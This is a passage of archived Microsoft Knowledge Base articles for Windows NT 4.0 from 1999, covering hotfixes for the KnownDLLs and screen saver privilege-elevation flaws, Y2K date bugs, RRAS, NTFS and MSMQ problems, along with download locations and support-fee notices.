This hotfix has been posted to the following Internet location as Rnr-fixi.exe
(x86) and Rnr-fixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Rnr-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0 Service Pack 4.

Additional query words: 4.00 sp4
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q218473
TITLE   :Restricting Changes to Base System Objects
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2,
   4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server versions 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2,
   4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4
 - Microsoft Windows NT Server versions 4.0, Terminal Server Edition
-------------------------------------------------------------------------------

IMPORTANT: This article contains information about editing the registry.
Before you edit the registry, make sure you understand how to restore it if
a problem occurs. For information about how to do this, view the "Restoring
the Registry" Help topic in Regedit.exe or the "Restoring a Registry Key" Help
topic in Regedt32.exe.

SYMPTOMS
========

If a non-administrative level user logs on interactively to your computer, it
may be possible for the user to gain local administrative privileges. A user may
load a non-Microsoft dynamic-link library (DLL) into memory having the same name
as a core operating system DLL and then programmatically change the entry in the
KnownDLLs list to point to the malicious copy. Programs then requesting the
system DLL will instead be directed to the malicious copy. When called by a
program with sufficiently high security privileges, it may be possible to bypass
typical security related activities such as adding a user to the Local
Administrators group. A remote user may also submit an arbitrary program to run
on your computer to exploit this vulnerability.

CAUSE
=====

In Windows NT, core operating system DLLs are kept in virtual memory and shared
between programs. This prevents redundant copies of the DLL in memory, and
improves memory usage and system performance. When a program calls a function
provided by one of these DLLs, the operating system refers to a data structure
called the KnownDLLs list to determine the location of the DLL in virtual
memory. The Windows NT security architecture protects in-memory DLLs against
modification, but by default it allows all users to read/write access to the
KnownDLLs list.

This vulnerability is only local to the computer where a malicious user is logged
on interactively. For example, a workstation user could exploit this
vulnerability to become a local administrator, but cannot use it directly to
become a domain administrator. This restricts the impact of this issue as
non-administrative users are not granted the ability to interactively log on to
servers (following recommended Microsoft security practices).

RESOLUTION
==========

Windows NT 4.0
--------------

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
4.0 service pack service pack that contain this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File name     Platform
   -------------------------------------------------------------
   02/24/99  07:45p                40,208 Smss.exe      (x86)
   02/24/99  07:44p                62,736 Smss.exe      (Alpha)

This hotfix has been posted to the following Internet location as Smssfixi.exe
(x86) and Smssfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Smss-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

Windows NT Server 4.0, Terminal Server Edition
----------------------------------------------

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
Server 4.0, Terminal Server Edition service pack service pack that contain this
fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File name     Platform
   -------------------------------------------------------------
   02/26/99  11:40p                44,816 Smss.exe      (x86)
   02/26/99  11:54p                72,464 Smss.exe      (Alpha)

This hotfix has been posted to the following Internet location as Smssfixi.exe
(x86) and Smssfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/
   hotfixes-postSP3/Smss-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

WORKAROUND

WARNING: Using Registry Editor incorrectly can cause serious problems that may
require you to reinstall your operating system. Microsoft cannot guarantee that
problems resulting from the incorrect use of Registry Editor can be solved. Use
Registry Editor at your own risk.

For information about how to edit the registry, view the "Changing Keys And
Values" Help topic in Registry Editor (Regedit.exe) or the "Add and Delete
Information in the Registry" and "Edit Registry Data" Help topics in
Regedt32.exe. Note that you should back up the registry before you edit it. If
you are running Windows NT, you should also update your Emergency Repair Disk
(ERD).

To work around this issue, enable stronger protection on system base objects such
as the KnownDLLs list by doing the following:

1. Click Start, click Run, type "regedt32" (without the quotation marks), and
   then click OK.

2. On the Windows menu, click "HKEY_LOCAL_ MACHINE on Local Machine".

3. Double-click the \System\CurrentControlSet\Control\Session Manager folder.

4. On the Edit menu, click Add Value, type "ProtectionMode" (without the
   quotation marks), click REG_DWORD in the Data Type box, and then click OK.

5. Type "1" (without the quotation marks) in the Data box, and then click OK.

6. Quit Registry Editor, and then restart the computer.

STATUS
======

Microsoft has confirmed this problem could result in some degree of security
vulnerability in the Microsoft products listed at the beginning of this article.

MORE INFORMATION
================

For additional security related information about Microsoft products, please
visit the Web site at:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q221120
TITLE   :Mfc40.dll Causes Programs to Display Wrong Date After 01/01/2000
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

An internal function within Mfc40.dll is designed to add 1900 to every 2-digit
date that is passed to it. For example, 99 is returned as 1999. If more than 2
digits are passed, nothing is added. Programs that use this function may
incorrectly parse a date after the year 2000 (for example, January 1, 2000, may
become January 1, 100).

This problem has been observed with the following applications:

 - Microsoft System Information (Msinfo32.exe)

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File name     Platform
   -------------------------------------------------------------
   07/15/97  06:53a                74,960 Advpack.dll   (x86)
   11/17/98  04:02p               924,432 Mfc40.dll     (x86)
   02/04/99  04:19p               924,432 Mfc40u.dll    (x86)
   04/24/98  04:01a                37,136 Regsvr32.exe  (x86)
   07/15/97  06:53a                 2,272 W95inf16.dll  (x86)
   07/15/97  06:53a                 4,608 W95inf32.dll  (x86)

   07/15/97  05:48a               128,784 Advpack.dll   (Alpha)
   02/09/99  03:55p             1,873,680 Mfc40.dll     (Alpha)
   02/09/99  03:56p             1,866,000 Mfc40u.dll    (Alpha)
   11/18/97  12:00a                80,656 Regsvr32.exe  (Alpha)

This hotfix has been posted to the following Internet location as Y2kupd.exe
(x86) and Y2kupdax.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Y2KUPD/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.

MORE INFORMATION
================

For more information about how Microsoft products are affected by year 2000
(Y2K) issues, please see the following Microsoft World Wide Web site:

   http://www.microsoft.com/year2000/

Additional query words: 98 sysinfo 4.00
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q221120
TITLE   :Command Line Switches Supported by the Y2K Update
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbinfo

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
-------------------------------------------------------------------------------

SUMMARY
=======

The Y2K Update (Y2KUPD) includes the fix discussed in the following article in
the Microsoft Knowledge Base:

   Q218877 MFC40.DLL Causes Programs to Display Wrong Date after 01/01/2000

MORE INFORMATION
================

This update has been posted to the following Internet location as Y2kupd.exe
(x86) and Y2kupdax.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP4/Y2KUPD/

The Y2K Update supports the following command line switches:

NOTE: You can view these switches by typing Y2KUPD /? at a command prompt.

Command line options:

   /Q -- Quiet modes for package.
   /T:<full path> -- Specifies temporary working folder.
   /C -- Extract files only to the folder when used also with /T.
   /C:<Cmd> -- Override Install Command defined by author.

For a full description of year 2000 issues and recommendations for Windows NT,
please see Windows NT Workstation Year 2000 Product Guide at:

   http://www.microsoft.com/technet/year2k/product/product.htm

For year 2000 information regarding Microsoft products:

 - See http://www.microsoft.com/y2k/

 - Call 1-888-MSFT-Y2K

 - Contact your local subsidiary

For more information about how Microsoft products are affected by year 2000 (Y2K)
issues, please see the following Microsoft World Wide Web site:

   http://www.microsoft.com/year2000/

Additional query words: 4.00 y2k year2000 mfcinst.exe
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q221331
TITLE   :RRAS Computer Stops Responding to Incoming Calls Under Stress
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

The Routing and Remote Access Server (RRAS) computer may stop responding to
incoming calls after a while.

CAUSE
=====

This problem is caused by an insufficient buffer size problem in Kmddsp.tsp.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
Service Pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File name     Platform
   -------------------------------------------------------------
   11/06/98  12:42p                20,240 Kmddsp.tsp    (x86)
   01/18/99  06:02p                35,600 Rastapi.dll   (x86)

   11/06/98  12:42p                38,160 Kmddsp.tsp    (Alpha)
   01/18/99  06:04a                71,440 Rastapi.dll   (Alpha)

This hotfix has been posted to the following Internet location as Discfixi.exe
(x86) and Discfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Disc-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

Additional query words: 4.00
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q221991
TITLE   :Screen Saver Vulnerability Lets User Privileges be Elevated
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
-------------------------------------------------------------------------------

SYMPTOMS
========

Windows NT starts a screen saver in the local system context and then
immediately changes the context to match that of the logged on user. However,
Windows NT does not verify that this change completed successfully. If the
change fails, the screen saver is running in a privileged state which permits a
specially programmed screen saver to use these privileges to elevate the
security of the logged on user.

RESOLUTION
==========

Windows NT 4.0
--------------

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
4.0 service pack service pack that contain this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File name     Platform
   -------------------------------------------------------------
   03/03/99  12:00p               247,056 Advapi32.dll  (x86)
   03/12/99  10:00p               188,176 Winlogon.exe  (x86)

   03/03/99  12:00p               404,240 Advapi32.dll  (Alpha)
   03/12/99  09:59p               273,680 Winlogon.exe  (Alpha)

This hotfix has been posted to the following Internet location as Scrnsavi.exe
(x86) and Scrnsava.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/ScrnSav-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

Windows NT 4.0
--------------

A fix for Windows NT Server 4.0, Terminal Server Edition is forthcoming.

STATUS
======

Microsoft has confirmed this problem could result in some degree of security
vulnerability in Windows NT 4.0 and Windows NT Server 4.0, Terminal Server
Edition.

MORE INFORMATION
================

For more information on this issue, please see the following Microsoft Security
Bulletin at:

   http://www.microsoft.com/security/bulletins/MS99-008.asp

For additional security related information about Microsoft products, visit the
Microsoft Security Web site at:

   http://www.microsoft.com/security

Additional query words: 4.00 Patch Available for Windows NT "Screen Saver" Vulnerability
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q229607
TITLE   :File Corruption on an NTFS Volume with More Than 4 Million Files
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

When you create and delete files on an NTFS volume that holds more than 4
million files, you see file corruption that may show up in one of the following
ways:

 - Deleted files continue to be displayed on the drive.

 - Files that you have not deleted are no longer accessible.

 - A pop-up message is displayed reporting that corruption has been detected on
   the drive and requesting that you run CHKDSK.

CAUSE
=====

This problem occurs when the Master File Table (MFT) has grown larger than 4 GB,
which may happen when you have more than 4 million files on your computer. When
you delete a file whose MFT entry is beyond the 4 GB point under these
conditions, an error in calculations causes the wrong entry to be marked as
available. If this entry contains information for another file, and new files
are added to the volume shortly after the deletion occurs, the entry could be
re-used causing the file it actually referenced to be lost.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time      Size      File name  Platform
   --------------------------------------------------
   04/15/99   05:44p   363,088   Ntfs.sys   x86
   04/15/99   05:42p   559,248   Ntfs.sys   Alpha

This hotfix has been posted to the following Internet location as Ntfsfixi.exe
(x86) and Ntfsfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP5/Ntfs-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

MORE INFORMATION
================

Information on all files in an NTFS volume is stored in the MFT. The MFT
contains one or more an entries for all files on the system. In addition, the
MFT maintains empty or unused entries which can be used for newly created files.
When a file is deleted, it's entry is marked as being unused so that when a new
file is created, the file system can re-use the entry.

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q230050
TITLE   :MSMQ Err: Error While Creating MSMQ Internal Certificate
PRODUCT :Microsoft Message Queue Server
PROD/VER:1.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Message Queue Server version 1.0
-------------------------------------------------------------------------------

SYMPTOMS
========

When you click Renew Internal Certificate in the Microsoft Message Queue Control
Panel tool on February 29 of a leap year (for example, the year 2000, 2004,
2008, and so on), the following error message is displayed:

   Error while creating MSMQ internal certificate. Error: 0x8000ffff

CAUSE
=====

The Microsoft Message Queue (MSMQ) program submits a request to set the
expiration date of the newly created certificate to 10 years; however, MSMQ does
not take into account leap years when it determines the expiration date. For
example, if you create a certificate on February 29, 2004, MSMQ attempts to set
the expiration date to February 29, 2014. This is an invalid date because it is
not a leap year.

RESOLUTION
==========

Mqrt.dll has been modified to request a validity of eight years rather than 10.

To resolve this problem, obtain the latest service pack for Windows NT 4.0 or the
individual fix. For information on obtaining the latest service pack, please go
to:

 - http://www.microsoft.com/windows/servicepacks/

   -or-

 - Q152734 How to Obtain the Latest Windows NT 4.0 Service Pack

For information on obtaining the individual fix, contact Microsoft Product
Support Services. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

This hotfix has been posted to the following Internet location as Msmqfixi.exe
(x86) and Msmqfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/MSMQ-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Microsoft Message Queue Server
1.0. This problem was first corrected in Windows NT 4.0 Service Pack 5.

Additional query words: 1.00 personal web server pws
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q230677
TITLE   :Malformed Phonebook Entry Security Vulnerability in RAS Client
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

